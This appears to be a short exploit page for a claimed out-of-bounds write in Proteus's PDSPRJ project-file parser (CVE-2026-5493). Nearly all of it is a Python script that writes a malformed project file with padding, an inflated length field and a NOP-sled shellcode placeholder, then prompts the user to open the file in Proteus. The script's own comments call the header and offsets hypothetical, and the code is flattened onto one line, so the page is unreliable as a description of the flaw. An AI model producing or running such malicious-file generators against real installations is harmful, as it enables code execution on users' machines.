CVE-2026-5493 Proteus PDSPRJ文件解析越界写入漏洞

import struct import os # Proof of Concept Generator for CVE-2026-5493 # This script generates a malformed PDSPRJ file designed to trigger the Out-Of-Bounds Write. # Note: Specific offsets and payload structure require binary analysis of the target version. def generate_malicious_pdsprj(filename, payload): """ Creates a malformed PDSPRJ file. """ # Header simulation (Actual header bytes may vary based on Proteus version) header = b'PROTEUS_PROJECT_FILE' # Padding to reach the vulnerable parsing logic # This offset is hypothetical and needs adjustment for actual exploitation junk_data = b'A' * 0x100 # Constructing the data that triggers the overflow # We assume the parser reads a length field and copies data without checking bounds overflow_trigger = struct.pack('<I', len(payload) + 0x200) # Fake large length with open(filename, 'wb') as f: f.write(header) f.write(junk_data) f.write(overflow_trigger) # Write the payload that will be written OOB f.write(payload) # Fill rest to ensure file structure is partially valid until crash f.write(b'\x00' * 0x500) if __name__ == "__main__": # Sample payload (NOP sled + Shellcode placeholder) # In a real scenario, this would be specific to the OS architecture (e.g., x86/x64) payload = b'\x90' * 100 + b'\xCC' * 4 output_file = "exploit_CVE-2026-5493.pdsprj" generate_malicious_pdsprj(output_file, payload) print(f"[+] Malicious file generated: {output_file}") print(f"[+] Please open this file in Proteus to trigger the vulnerability.")